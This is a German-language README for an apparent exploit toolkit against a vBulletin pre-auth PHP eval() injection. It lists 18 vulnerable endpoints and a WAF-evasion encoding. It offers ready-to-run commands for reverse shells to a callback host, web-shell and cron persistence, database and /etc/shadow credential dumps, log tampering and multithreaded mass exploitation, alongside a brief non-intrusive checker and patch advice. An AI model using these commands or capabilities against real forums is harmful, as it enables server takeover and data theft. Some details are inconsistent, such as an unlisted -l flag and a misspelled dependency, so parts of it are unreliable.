CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier

NUR ZUR ETHISCHEN VERWENDUNG – AUTORISIERTE SICHERHEITSTESTS
Dieses Repository stellt Tools ausschließlich für autorisierte Sicherheitsexperten, Blue Teams und Penetrationstester bereit.
Unbefugter Zugriff auf Computersysteme ist illegal gemäß CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Türkei) und ähnlichen Gesetzen weltweit.

---

Schwachstellenübersicht

CVE‑2026‑61511 ist eine PHP-eval()-Injection-Schwachstelle in der AJAX-Template-Rendering-Engine von vBulletin.
Betroffene Versionen: 5.0.0 – 5.7.5 und 6.0.0 – 6.2.1.

Funktionsweise

1. Mehrere Angriffsendpunkte – der Fehler existiert in mehreren AJAX-Handlern:

   • /ajax/render/pagenav
   • /ajax/api/ad/replaceAdTemplate
   • /ajax/render/widget_php
   • /ajax/render/widget_tabbedcontainer_tab_panel
   • Verschiedene /ajax/api/content_* /getIndexableContent-Endpunkte

2. PHPFuck-Encoding – die Payload wird in eine Sequenz aus PHP-Operatoren und Zahlen umgewandelt, die WAF-Filter umgeht und die Ausführung beliebigen PHP-Codes ermöglicht.

3. Keine Authentifizierung erforderlich – ein Angreifer kann eine manipulierte POST-Anfrage an einen beliebigen verwundbaren Endpunkt senden und Systembefehle mit den Rechten des Webservers ausführen.

4. Auswirkung – vollständige Serverkompromittierung, Datendiebstahl, Backdoors, laterale Bewegung und Persistenz. Aktualisieren Sie die Version!

Patch

• vBulletin 6.2.2 und Patch Level 1 für ältere Versionen beheben dieses Problem.
• Immer aktualisieren auf die neueste Version.

---

Tools

Tool	Zweck	Vorgesehener Benutzer
exploit.py	Vollständiges Toolkit mit Reverse Shell, Persistenz, Dateioperationen, Datenbank-Dump, Firewall-Verwaltung, Log-Verwaltung, Port-Forwarding, SSH-Key-Deployment, Netzwerk-Scanning und Massen-Scanning (Multi-Threaded).	Red Teams / autorisierte Pentester
safecheck.py	Nicht-intrusiver Verifier, der die Verwundbarkeit prüft, ohne eine schädliche Payload auszuführen. Erkennt Version, testet alle Endpunkte und generiert einen detaillierten Bericht.	Blue Teams / Sicherheitsauditoren

---

Funktionsvergleich

Funktion	exploit.py	safecheck.py
Schwachstellenerkennung	[+]	[+]
Versionserkennung	[+]	[+]
Multi-Endpunkt-Testing (18 Pfade)	[+]	[+]
Befehlsausführung	[+]	[-]
Reverse Shell	[+]	[-]
Datei-Upload/Download	[+]	[-]
Persistenzmechanismen	[+]	[-]
Web-Shell-Deployment	[+]	[-]
Datenbankoperationen	[+]	[-]
Systeminformationssammlung	[+]	[+]
Firewall-Verwaltung	[+]	[-]
Log-Verwaltung	[+]	[-]
Port-Forwarding	[+]	[-]
SSH-Key-Deployment	[+]	[-]
Netzwerk-Scanning	[+]	[-]
Massen-Scanning (Multi-Thread)	[+]	[-]
Proxy-Unterstützung	[+]	[+]
JSON-Berichtsausgabe	[+]	[+]
Interaktives Menü	[+]	[-]
Nicht-intrusiver (sicherer) Modus	[-]	[+]
Verbose/Debug-Modus	[+]	[+]
Benutzerdefinierte Befehlsausführung	[+]	[-]
Multi-Befehl-Verkettung	[+]	[-]
Remote-Dateilesen	[+]	[-]
Remote-Dateischreiben	[+]	[-]
Systembenutzerverwaltung	[+]	[-]
Firewall-Bypass-Techniken	[+]	[-]
WAF-Evasion (PHPFuck)	[+]	[+]

---

Zusammenfassung der Anwendungsfälle

Szenario	Empfohlenes Tool
Blue Team – Überprüfung, ob Ihre vBulletin-Installation verwundbar ist	safecheck.py
Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung	safecheck.py
Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung	exploit.py
Bug Bounty – Responsible-Disclosure-Tests	safecheck.py
Massen-Scanning – Überprüfung mehrerer Ziele auf Verwundbarkeit	exploit.py (nur Erkennung)
Incident Response – Überprüfung, ob Systeme kompromittiert wurden	safecheck.py

---

Installation

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

Inhalt von requirements.txt:

request
urllib3

Parameter

Parameter	Beschreibung
-t, --target	Ziel-URL (z. B. http://forum.com/vb)
--proxy	HTTP-Proxy (z. B. http://127.0.0.1:8080)
--timeout	Anfrage-Timeout in Sekunden (Standard: 10)
--retry	Anzahl der Wiederholungsversuche pro Pfad (Standard: 3)
--output	Detaillierten Bericht in JSON-Datei speichern
-v, --verbose	Ausführliche Ausgabe
-q, --quiet	Leiser Modus (minimale Ausgabe)
--lhost	Erforderlich für Exploit – IP für Callback
--lport	Port für Callback (Standard: 4444)
--threads	Threads für Massen-Scanning (Standard: 5)
--exploit	Ausnutzung nach Erkennung durchführen
--full	Vollständiger Angriff (alle Module)
--shell	Reverse Shell starten
--webshell	Webshell installieren (/shell.php)
--persist	Persistenz installieren (Cron-Job)
--dump	Datenbank dumpen
--dump-creds	Anmeldedaten dumpen (/etc/passwd, /etc/shadow)
--interactive	Interaktives Menü nach erfolgreicher Verifizierung

Szenarien

#	Szenario	Befehl
1	Schnelle Schwachstellenprüfung	python safecheck.py -t http://target.com/vb
2	Detaillierter Scan mit Bericht	python safecheck.py -t http://target.com/vb --output report.json -v
3	Reverse Shell	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell
4	Vollständiger Angriff (alle Module)	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full
5	Massen-Scanning aus Datei	python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json
6	Interaktiver Menümodus	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive

Endpunkt-Pool

#	Endpunkt
1	/ajax/render/pagenav
2	/ajax/render/pagenav?template=page
3	/ajax/api/ad/replaceAdTemplate
4	/ajax/render/widget_php
5	/ajax/render/widget_tabbedcontainer_tab_panel
6	/ajax/api/content_infraction/getIndexableContent
7	/ajax/api/content_video/getIndexableContent
8	/ajax/api/content_text/getIndexableContent
9	/ajax/api/content_report/getIndexableContent
10	/ajax/api/content_redirect/getIndexableContent
11	/ajax/api/content_privatemessage/getIndexableContent
12	/ajax/api/content_poll/getIndexableContent
13	/ajax/api/content_photo/getIndexableContent
14	/ajax/api/content_link/getIndexableContent
15	/ajax/api/content_gallery/getIndexableContent
16	/ajax/api/content_event/getIndexableContent
17	/ajax/api/content_channel/getIndexableContent
18	/ajax/api/content_attach/getIndexableContent

Verantwortungsvolle Nutzung